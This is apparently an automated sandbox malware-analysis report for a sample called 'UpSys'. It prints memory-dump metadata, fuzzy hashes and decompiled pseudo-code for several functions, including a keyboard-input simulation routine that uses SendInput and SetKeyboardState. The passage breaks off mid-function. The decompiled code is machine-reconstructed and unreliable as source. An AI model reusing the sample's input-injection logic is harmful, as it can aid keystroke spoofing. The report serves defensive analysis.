                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionUnregisterstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 413334626-0
                                                                                                                                                                                                        • Opcode ID: 510fff909104a325ba60d67ade998f9ff2cf1b66eaee5d7bc56f319205a8afeb
                                                                                                                                                                                                        • Instruction ID: 9a9a05609d48e111cc7182fe79c907089112fd31431d776e659a601764eacfd6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 510fff909104a325ba60d67ade998f9ff2cf1b66eaee5d7bc56f319205a8afeb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E8A13836605A8482EB66EF26E4907EA73A4F789BC4F548016EF4E07776DF39C855D300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140022200 Relevance: 6.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E00000001140022200(void* __ebx, void* __edx, void* __ebp, void* __eflags, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __rsi, void* __rbp, void* __r8, void* __r9, signed int __r12, long long _a8, long long _a16, long long _a24) {
				signed long long* _v40;
				intOrPtr _v48;
				intOrPtr _v52;
				signed int _v56;
				signed int _t81;
				void* _t102;
				signed long long* _t113;
				signed long long _t139;
				signed long long _t140;

				_t129 = __rsi;
				_t127 = __rdi;
				_a8 = __rbx;
				_a16 = __rdi;
				_a24 = __r12;
				_t139 = __r12 | 0xffffffff;
				r13d = r12d;
				r14d = 0;
				if (E0000000114001F0D4(_t139 + 0xc, __edx, __ebp, __rax, __rbx, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r9) != 0) goto 0x40022239;
				goto 0x40022402;
				E0000000114001F1BC();
				_v52 = 0;
				if (0 - 0x40 >= 0) goto 0x400223f5;
				_t113 =  *0x1400C88C0;
				if (_t113 == 0) goto 0x4002236a;
				_v40 = _t113;
				_t102 =  *((intOrPtr*)(0x1400c88c0)) + 0xb00;
				if (_t113 - 0x400c88c0 >= 0) goto 0x4002234f;
				if ((_t113[1] & 0x00000001) != 0) goto 0x40022336;
				if (_t113[1] != 0) goto 0x400222cd;
				E0000000114001F1BC();
				if (_t113[1] != 0) goto 0x400222c3;
				if (E0000000114001F83C() != 0) goto 0x400222c0;
				_t17 = _t102 + 1; // 0x1
				r14d = _t17;
				_v48 = r14d;
				goto 0x400222c3;
				_t113[1] = _t113[1] + 1;
				E0000000114001F0BC();
				if (r14d != 0) goto 0x400222f2;
				EnterCriticalSection(??);
				if ((_t113[1] & 0x00000001) == 0) goto 0x400222ee;
				LeaveCriticalSection(??);
				goto 0x40022336;
				_t140 = _t139 | 0xffffffff;
				if (r14d != 0) goto 0x40022336;
				_t113[1] = 1;
				 *_t113 = _t140;
				r13d = r13d + (0 << 5);
				_v56 = r13d;
				goto 0x4002234f;
				_v40 = _t113 -  *((intOrPtr*)(0x1400c88c0)) + 0x58;
				goto 0x4002226f;
				if (r13d != r12d) goto 0x400223f5;
				_v52 = 1;
				goto 0x40022251;
				E0000000114001D97C(_t113 -  *((intOrPtr*)(0x1400c88c0)) + 0x58,  &(_t113[2]), __rdx, _t127, _t129, __rbp);
				_v40 = 0x400c88c0;
				if (0x400c88c0 == 0) goto 0x400223f5;
				 *((long long*)(0x1400c88c8)) = 0x400c88c0;
				 *0x400c88bc =  *0x400c88bc + 0x20;
				if (0x400c88c0 -  *((intOrPtr*)(0x1400c88c8)) + 0xb00 >= 0) goto 0x400223c0;
				 *((char*)(0x1400c88c8)) = 0;
				 *0x400c88c0 = _t140 | 0xffffffff;
				 *0x1400C88C9 = 0xa;
				 *0x1400C88CC =  *0x1400C88CC & 0x00000000;
				_v40 = 0x1400c8918;
				goto 0x40022396;
				_v56 = 1 << 5;
				 *((char*)( *0x145E36628 + 0x403b8380)) = 1;
				E00000001140022130(__ebx, 1 << 5, _t113 -  *((intOrPtr*)(0x1400c88c0)) + 0x58, _t127, _t129, _t140 | 0xffffffff);
				_t81 =  ==  ? r12d : 1 << 5;
				r13d = _t81;
				_v56 = _t81;
				E0000000114001F0BC();
				return r13d;
			}












                                                                                                                                                                                                        0x140022200
                                                                                                                                                                                                        0x140022200
                                                                                                                                                                                                        0x140022200
                                                                                                                                                                                                        0x140022205
                                                                                                                                                                                                        0x14002220a
                                                                                                                                                                                                        0x140022219
                                                                                                                                                                                                        0x14002221d
                                                                                                                                                                                                        0x140022220
                                                                                                                                                                                                        0x14002222f
                                                                                                                                                                                                        0x140022234
                                                                                                                                                                                                        0x14002223e
                                                                                                                                                                                                        0x140022246
                                                                                                                                                                                                        0x140022254
                                                                                                                                                                                                        0x14002225d
                                                                                                                                                                                                        0x140022264
                                                                                                                                                                                                        0x14002226a
                                                                                                                                                                                                        0x140022273
                                                                                                                                                                                                        0x14002227c
                                                                                                                                                                                                        0x140022286
                                                                                                                                                                                                        0x140022290
                                                                                                                                                                                                        0x140022297
                                                                                                                                                                                                        0x1400222a1
                                                                                                                                                                                                        0x1400222b3
                                                                                                                                                                                                        0x1400222b5
                                                                                                                                                                                                        0x1400222b5
                                                                                                                                                                                                        0x1400222b9
                                                                                                                                                                                                        0x1400222be
                                                                                                                                                                                                        0x1400222c0
                                                                                                                                                                                                        0x1400222c8
                                                                                                                                                                                                        0x1400222d0
                                                                                                                                                                                                        0x1400222d6
                                                                                                                                                                                                        0x1400222e0
                                                                                                                                                                                                        0x1400222e6
                                                                                                                                                                                                        0x1400222ec
                                                                                                                                                                                                        0x1400222ee
                                                                                                                                                                                                        0x1400222f5
                                                                                                                                                                                                        0x1400222f7
                                                                                                                                                                                                        0x1400222fb
                                                                                                                                                                                                        0x14002232c
                                                                                                                                                                                                        0x14002232f
                                                                                                                                                                                                        0x140022334
                                                                                                                                                                                                        0x14002233a
                                                                                                                                                                                                        0x14002234a
                                                                                                                                                                                                        0x140022352
                                                                                                                                                                                                        0x14002235a
                                                                                                                                                                                                        0x140022365
                                                                                                                                                                                                        0x140022372
                                                                                                                                                                                                        0x140022377
                                                                                                                                                                                                        0x14002237f
                                                                                                                                                                                                        0x14002238b
                                                                                                                                                                                                        0x14002238f
                                                                                                                                                                                                        0x1400223a4
                                                                                                                                                                                                        0x1400223a6
                                                                                                                                                                                                        0x1400223aa
                                                                                                                                                                                                        0x1400223ad
                                                                                                                                                                                                        0x1400223b1
                                                                                                                                                                                                        0x1400223b9
                                                                                                                                                                                                        0x1400223be
                                                                                                                                                                                                        0x1400223c3
                                                                                                                                                                                                        0x1400223dc
                                                                                                                                                                                                        0x1400223e3
                                                                                                                                                                                                        0x1400223ea
                                                                                                                                                                                                        0x1400223ee
                                                                                                                                                                                                        0x1400223f1
                                                                                                                                                                                                        0x1400223fa
                                                                                                                                                                                                        0x14002241b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalSection_lock$EnterLeave
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2641352136-0
                                                                                                                                                                                                        • Opcode ID: 0bd7a35ec759f4170acc95dd6e3fd9743b696b770f3d9020147bc1ca46431aa5
                                                                                                                                                                                                        • Instruction ID: 05e65bcefc3f4afe545d7c2593710c3ac05cf7e8ebab1c33314dbaf2a7993b33
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0bd7a35ec759f4170acc95dd6e3fd9743b696b770f3d9020147bc1ca46431aa5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2151DF32204B8096EB22DF56E4403AA77A4F7987A8F44461AFF6A477F5CF38C955C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140052090 Relevance: 6.1, APIs: 4, Instructions: 113comCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 30%
                                                                                                                                                                                                        			E00000001140052090(long long __rbx, intOrPtr* __rcx, struct HWND__* _a8, intOrPtr* _a16, void* _a24) {
				signed int _v40;
				void* _t70;
				intOrPtr* _t104;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t113;
				struct HWND__* _t128;
				void* _t130;
				intOrPtr _t135;
				void* _t137;

				_t137 = _t130;
				 *((long long*)(_t137 + 0x18)) = __rbx;
				_t104 = __rcx;
				_t107 =  *(__rcx + 0x18);
				 *(_t137 + 0x10) = _t128;
				 *(_t137 + 8) = _t128;
				if (_t107 == _t128) goto 0x400521c4;
				_t135 =  *((intOrPtr*)(__rcx + 0x38));
				r8d = 0;
				 *((long long*)(_t137 - 0x18)) = __rcx + 0x20;
				 *((long long*)(_t137 - 0x20)) =  *((intOrPtr*)( *__rcx + 0x28));
				_v40 = _v40 | 0xffffffff;
				 *((intOrPtr*)( *_t107 + 0x58))();
				if ( *((intOrPtr*)(__rcx + 0x5d)) != dil) goto 0x400520eb;
				if ( *((intOrPtr*)(__rcx + 0x5c)) == dil) goto 0x40052127;
				 *( *( *(__rcx + 0x18)))();
				_t109 = _a16;
				if (_t109 == _t128) goto 0x40052127;
				if ( *((intOrPtr*)(__rcx + 0x5d)) == dil) goto 0x4005211b;
				 *((intOrPtr*)( *_t109 + 0x30))();
				if ( *((intOrPtr*)(__rcx + 0x5c)) == dil) goto 0x40052127;
				 *((intOrPtr*)( *_a16 + 0x28))();
				__imp__OleSetContainedObject();
				 *( *( *(__rcx + 0x18)))();
				_t113 = _a8;
				if (_t113 == _t128) goto 0x40052173;
				r9d = 0;
				_t29 = _t135 + 2; // 0x2
				r8d = _t29;
				 *((intOrPtr*)( *_t113 + 0x38))();
				 *((intOrPtr*)( *_a8 + 0x10))();
				_a8 = _t128;
				 *((intOrPtr*)( *( *(__rcx + 0x18)) + 0xa0))();
				 *((intOrPtr*)( *( *(__rcx + 0x18)) + 0x18))();
				r8d = 0;
				 *((intOrPtr*)( *( *(__rcx + 0x18)) + 0x28))();
				if (IsWindow(_t128) == 0) goto 0x400521b6;
				DestroyWindow(??);
				 *((intOrPtr*)( *( *(__rcx + 0x18)) + 0x10))();
				 *(__rcx + 0x18) = _t128;
				 *(__rcx + 0x10) = _t128;
				 *((intOrPtr*)(__rcx + 0x5c)) = dil;
				if ( *(__rcx + 0x50) == _t128) goto 0x400521de;
				0x40016a60();
				 *(__rcx + 0x50) = _t128;
				if ( *((intOrPtr*)(__rcx + 0x40)) == _t128) goto 0x400521f5;
				_t70 = E00000001140052070( *((intOrPtr*)(__rcx + 0x40)));
				 *(_t104 + 0x40) = _t128;
				if ( *(_t104 + 0x48) == _t128) goto 0x40052207;
				0x40016a60();
				 *(_t104 + 0x48) = _t128;
				if ( *(_t104 + 0x38) == _t128) goto 0x40052219;
				0x40016a60();
				 *(_t104 + 0x38) = _t128;
				return _t70;
			}













                                                                                                                                                                                                        0x140052090
                                                                                                                                                                                                        0x140052093
                                                                                                                                                                                                        0x14005209e
                                                                                                                                                                                                        0x1400520a1
                                                                                                                                                                                                        0x1400520a5
                                                                                                                                                                                                        0x1400520a9
                                                                                                                                                                                                        0x1400520b0
                                                                                                                                                                                                        0x1400520bc
                                                                                                                                                                                                        0x1400520c4
                                                                                                                                                                                                        0x1400520c7
                                                                                                                                                                                                        0x1400520d2
                                                                                                                                                                                                        0x1400520d6
                                                                                                                                                                                                        0x1400520db
                                                                                                                                                                                                        0x1400520e3
                                                                                                                                                                                                        0x1400520e9
                                                                                                                                                                                                        0x1400520fe
                                                                                                                                                                                                        0x140052100
                                                                                                                                                                                                        0x140052108
                                                                                                                                                                                                        0x14005210e
                                                                                                                                                                                                        0x140052113
                                                                                                                                                                                                        0x14005211f
                                                                                                                                                                                                        0x140052124
                                                                                                                                                                                                        0x14005212d
                                                                                                                                                                                                        0x140052146
                                                                                                                                                                                                        0x140052148
                                                                                                                                                                                                        0x140052150
                                                                                                                                                                                                        0x140052155
                                                                                                                                                                                                        0x14005215c
                                                                                                                                                                                                        0x14005215c
                                                                                                                                                                                                        0x140052160
                                                                                                                                                                                                        0x14005216b
                                                                                                                                                                                                        0x14005216e
                                                                                                                                                                                                        0x14005217d
                                                                                                                                                                                                        0x14005218c
                                                                                                                                                                                                        0x140052193
                                                                                                                                                                                                        0x14005219b
                                                                                                                                                                                                        0x1400521aa
                                                                                                                                                                                                        0x1400521b0
                                                                                                                                                                                                        0x1400521bd
                                                                                                                                                                                                        0x1400521c0
                                                                                                                                                                                                        0x1400521c8
                                                                                                                                                                                                        0x1400521cc
                                                                                                                                                                                                        0x1400521d3
                                                                                                                                                                                                        0x1400521d5
                                                                                                                                                                                                        0x1400521da
                                                                                                                                                                                                        0x1400521e5
                                                                                                                                                                                                        0x1400521ec
                                                                                                                                                                                                        0x1400521f1
                                                                                                                                                                                                        0x1400521fc
                                                                                                                                                                                                        0x1400521fe
                                                                                                                                                                                                        0x140052203
                                                                                                                                                                                                        0x14005220e
                                                                                                                                                                                                        0x140052210
                                                                                                                                                                                                        0x140052215
                                                                                                                                                                                                        0x140052223

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ContainedCurrent_exceptionDestroyObjectstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2261065162-0
                                                                                                                                                                                                        • Opcode ID: 2409c5637032131e3acbff319f7342d47b7d19e505a6b459dd4b677ac5652a2f
                                                                                                                                                                                                        • Instruction ID: cbe321c4e3f6d37686d9dda52709cec5e954375f3e2a1b5ae28199b4f1fbf977
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2409c5637032131e3acbff319f7342d47b7d19e505a6b459dd4b677ac5652a2f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7F510137200E4482DB55CF2AD5903AD73A6FB99FC8F558112EB5A43B68CF76C895C780
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005A5A0 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E0000000114005A5A0(void* __ecx, void* __edi, long long __rbx, char* __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __rbp, struct HWND__* __r12, BYTE* __r13, BYTE* __r14) {
				char _v24;
				void* _v280;
				long long _v304;
				intOrPtr _v312;
				intOrPtr _v316;
				signed short _v318;
				intOrPtr _v320;
				char _v328;
				long long _v344;
				void* _t56;
				int _t61;
				void* _t63;
				void* _t72;
				short _t78;
				signed short _t84;
				void* _t103;
				long long _t106;
				long long _t108;
				intOrPtr _t126;
				int _t128;
				intOrPtr _t133;
				intOrPtr _t136;
				void* _t137;
				char* _t148;
				void* _t150;
				void* _t152;
				void* _t154;

				_t103 = _t137;
				 *((long long*)(_t103 + 8)) = __rbx;
				 *((long long*)(_t103 + 0x10)) = __rbp;
				 *((long long*)(_t103 + 0x18)) = __rsi;
				 *((long long*)(_t103 + 0x20)) = __rdi;
				dil =  *__rdx;
				r12b = __rdx[1];
				_t84 = __rdx[2] & 0x0000ffff;
				r14d = 0;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __r14) goto 0x4005a6a1;
				if (dil == 0x14) goto 0x4005a6a1;
				if (dil == 0x90) goto 0x4005a6a1;
				if (dil == 0x91) goto 0x4005a6a1;
				if (E00000001140042140(_t56, __edi, __rdx) == r14b) goto 0x4005a686;
				GetKeyboardState(__r14);
				r13d = dil & 0xffffffff;
				 *(_t137 - 0x160 +  &(__r13[0x60])) =  *(_t137 - 0x160 +  &(__r13[0x60])) | 0x00000080;
				SetKeyboardState(__r13);
				r11d = r12b & 0xffffffff;
				r11d = r11d << 0x10;
				if (E000000011400517E0(__rdx) != 1) goto 0x4005a649;
				asm("dec eax");
				if ( *((intOrPtr*)(__rcx + 0x1b)) != r14b) goto 0x4005a65b;
				if ( *((intOrPtr*)(__rcx + 0x21)) != r14b) goto 0x4005a65b;
				if (dil != 0x12) goto 0x4005a679;
				if ( *((intOrPtr*)(__rcx + 0x1a)) != r14b) goto 0x4005a679;
				if ( *((intOrPtr*)(__rcx + 0x20)) != r14b) goto 0x4005a679;
				asm("dec eax");
				goto 0x4005a695;
				goto 0x4005a695;
				r8d = _t84 & 0x0000ffff;
				r9d = 1;
				_t61 = PostMessageW(__r12, ??, ??);
				goto 0x4005a714;
				if (E00000001140042140(_t61, __edi, __rdx) == r14b) goto 0x4005a6da;
				_t63 = E000000011400517E0(__rdx);
				_v344 = __r14;
				r8b = r12b;
				_t78 = dil;
				if (_t63 != 1) goto 0x4005a6d0;
				r9d = 1;
				goto 0x4005a6d3;
				r9d = 0;
				E00000001140041FA0(_t78, __rcx);
				goto 0x4005a714;
				r8d = 0x28;
				_v328 = 1;
				_t72 = __r13 - 0x27;
				_v320 = r14w;
				_v318 = _t84;
				_v316 = 4;
				_v312 = r14d;
				_v304 = __r14;
				__imp__SendInput();
				_t148 =  &_v24;
				_t106 =  *((intOrPtr*)(_t148 + 0x20));
				_t136 =  *((intOrPtr*)(_t148 + 0x28));
				_t133 =  *((intOrPtr*)(_t148 + 0x30));
				_t126 =  *((intOrPtr*)(_t148 + 0x38));
				_pop(_t154);
				_pop(_t152);
				_pop(_t150);
				goto E00000001140042010;
				asm("int3");
				asm("int3");
				asm("int3");
				_v344 = _t106;
				E0000000114005A5A0(_t72, __edi,  &_v328, __rcx,  &_v328, __rcx, _t133, _t136, _t150, _t152, _t154);
				_t108 = _v344;
				_t128 = _t126;
				goto E0000000114005A410;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v344 = _t108;
				 *((char*)(__rcx + 7)) = 0;
				 *__rcx = 0xff;
				 *((char*)(__rcx + 1)) = 0;
				 *((char*)(__rcx + 2)) = 0;
				 *((char*)(__rcx + 3)) = 0;
				 *((char*)(__rcx + 4)) = 0;
				 *((char*)(__rcx + 5)) = 0;
				 *((char*)(__rcx + 6)) = 0;
				 *((char*)(__rcx + 0xa)) = 0;
				 *((short*)(__rcx + 8)) = _t78;
				if (E00000001140042130(__rcx) != 0) goto 0x4005a7b4;
				goto 0x4005a7f6;
				if (VkKeyScanW(_t128) == 0xffff) goto 0x4005a7b0;
				 *__rcx = 0;
				MapVirtualKeyW(??, ??);
				 *((char*)(__rcx + 7)) = 0;
				if ((0x00000001 & dil) == 0) goto 0x4005a7e4;
				 *((char*)(__rcx + 1)) = 1;
				if ((dil & 0x00000002) == 0) goto 0x4005a7ed;
				 *((char*)(__rcx + 3)) = 1;
				if ((dil & 0x00000004) == 0) goto 0x4005a7f6;
				 *((char*)(__rcx + 4)) = 1;
				return 1;
			}






























                                                                                                                                                                                                        0x14005a5a0
                                                                                                                                                                                                        0x14005a5a3
                                                                                                                                                                                                        0x14005a5a7
                                                                                                                                                                                                        0x14005a5ab
                                                                                                                                                                                                        0x14005a5af
                                                                                                                                                                                                        0x14005a5c0
                                                                                                                                                                                                        0x14005a5c3
                                                                                                                                                                                                        0x14005a5c7
                                                                                                                                                                                                        0x14005a5cb
                                                                                                                                                                                                        0x14005a5d8
                                                                                                                                                                                                        0x14005a5e2
                                                                                                                                                                                                        0x14005a5ec
                                                                                                                                                                                                        0x14005a5f6
                                                                                                                                                                                                        0x14005a607
                                                                                                                                                                                                        0x14005a60e
                                                                                                                                                                                                        0x14005a614
                                                                                                                                                                                                        0x14005a61d
                                                                                                                                                                                                        0x14005a623
                                                                                                                                                                                                        0x14005a629
                                                                                                                                                                                                        0x14005a62d
                                                                                                                                                                                                        0x14005a642
                                                                                                                                                                                                        0x14005a644
                                                                                                                                                                                                        0x14005a64d
                                                                                                                                                                                                        0x14005a653
                                                                                                                                                                                                        0x14005a659
                                                                                                                                                                                                        0x14005a65f
                                                                                                                                                                                                        0x14005a665
                                                                                                                                                                                                        0x14005a667
                                                                                                                                                                                                        0x14005a677
                                                                                                                                                                                                        0x14005a684
                                                                                                                                                                                                        0x14005a686
                                                                                                                                                                                                        0x14005a68f
                                                                                                                                                                                                        0x14005a699
                                                                                                                                                                                                        0x14005a69f
                                                                                                                                                                                                        0x14005a6ac
                                                                                                                                                                                                        0x14005a6b1
                                                                                                                                                                                                        0x14005a6b6
                                                                                                                                                                                                        0x14005a6bb
                                                                                                                                                                                                        0x14005a6be
                                                                                                                                                                                                        0x14005a6c6
                                                                                                                                                                                                        0x14005a6c8
                                                                                                                                                                                                        0x14005a6ce
                                                                                                                                                                                                        0x14005a6d0
                                                                                                                                                                                                        0x14005a6d3
                                                                                                                                                                                                        0x14005a6d8
                                                                                                                                                                                                        0x14005a6da
                                                                                                                                                                                                        0x14005a6e5
                                                                                                                                                                                                        0x14005a6ed
                                                                                                                                                                                                        0x14005a6f1
                                                                                                                                                                                                        0x14005a6f7
                                                                                                                                                                                                        0x14005a6fc
                                                                                                                                                                                                        0x14005a704
                                                                                                                                                                                                        0x14005a709
                                                                                                                                                                                                        0x14005a70e
                                                                                                                                                                                                        0x14005a717
                                                                                                                                                                                                        0x14005a71f
                                                                                                                                                                                                        0x14005a723
                                                                                                                                                                                                        0x14005a727
                                                                                                                                                                                                        0x14005a72b
                                                                                                                                                                                                        0x14005a732
                                                                                                                                                                                                        0x14005a734
                                                                                                                                                                                                        0x14005a736
                                                                                                                                                                                                        0x14005a738
                                                                                                                                                                                                        0x14005a73d
                                                                                                                                                                                                        0x14005a73e
                                                                                                                                                                                                        0x14005a73f
                                                                                                                                                                                                        0x14005a740
                                                                                                                                                                                                        0x14005a750
                                                                                                                                                                                                        0x14005a75b
                                                                                                                                                                                                        0x14005a764
                                                                                                                                                                                                        0x14005a765
                                                                                                                                                                                                        0x14005a76a
                                                                                                                                                                                                        0x14005a76b
                                                                                                                                                                                                        0x14005a76c
                                                                                                                                                                                                        0x14005a76d
                                                                                                                                                                                                        0x14005a76e
                                                                                                                                                                                                        0x14005a76f
                                                                                                                                                                                                        0x14005a770
                                                                                                                                                                                                        0x14005a77a
                                                                                                                                                                                                        0x14005a77e
                                                                                                                                                                                                        0x14005a781
                                                                                                                                                                                                        0x14005a785
                                                                                                                                                                                                        0x14005a789
                                                                                                                                                                                                        0x14005a78d
                                                                                                                                                                                                        0x14005a791
                                                                                                                                                                                                        0x14005a795
                                                                                                                                                                                                        0x14005a79c
                                                                                                                                                                                                        0x14005a7a0
                                                                                                                                                                                                        0x14005a7ae
                                                                                                                                                                                                        0x14005a7b2
                                                                                                                                                                                                        0x14005a7c1
                                                                                                                                                                                                        0x14005a7cf
                                                                                                                                                                                                        0x14005a7d1
                                                                                                                                                                                                        0x14005a7d7
                                                                                                                                                                                                        0x14005a7df
                                                                                                                                                                                                        0x14005a7e1
                                                                                                                                                                                                        0x14005a7e8
                                                                                                                                                                                                        0x14005a7ea
                                                                                                                                                                                                        0x14005a7f1
                                                                                                                                                                                                        0x14005a7f3
                                                                                                                                                                                                        0x14005a800

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: KeyboardState$InputMessagePostSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 432972143-0
                                                                                                                                                                                                        • Opcode ID: 4729d643b97be96eab5bbdcb47474850cc5febed8e5c8a9ddc075ffcdf1d7e82
                                                                                                                                                                                                        • Instruction ID: 11ab881c6d2c948ad5f2f57d997f171ae133b1e46f71d257fd80474601f34508
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4729d643b97be96eab5bbdcb47474850cc5febed8e5c8a9ddc075ffcdf1d7e82
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7B41B27221569485EB72CF23A4007EA6BA1F74EBD8F590225FF85177B5CA3EC891C704
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140056AA0 Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 28%
                                                                                                                                                                                                        			E00000001140056AA0(void* __edx, long long __rbx, void* __rdx, void* __r11, void* _a8, char _a24, signed int _a32) {
				signed int _v40;
				signed int _t32;
				signed int _t33;
				void* _t56;
				void* _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t75;
				struct HWND__* _t77;
				RECT* _t80;
				intOrPtr _t81;
				int _t83;
				void* _t86;

				_t75 = __rdx;
				_t59 = _t86;
				 *((long long*)(_t59 + 8)) = __rbx;
				 *((intOrPtr*)(_t59 + 0x18)) = r8d;
				if (E0000000114004E0B0(__edx, 0x400c6a00, _t59 + 0x20, _t59 - 0x28, __r11) != 0) goto 0x40056ad1;
				goto 0x40056c12;
				_t60 =  *0x400c6aa0; // 0x0
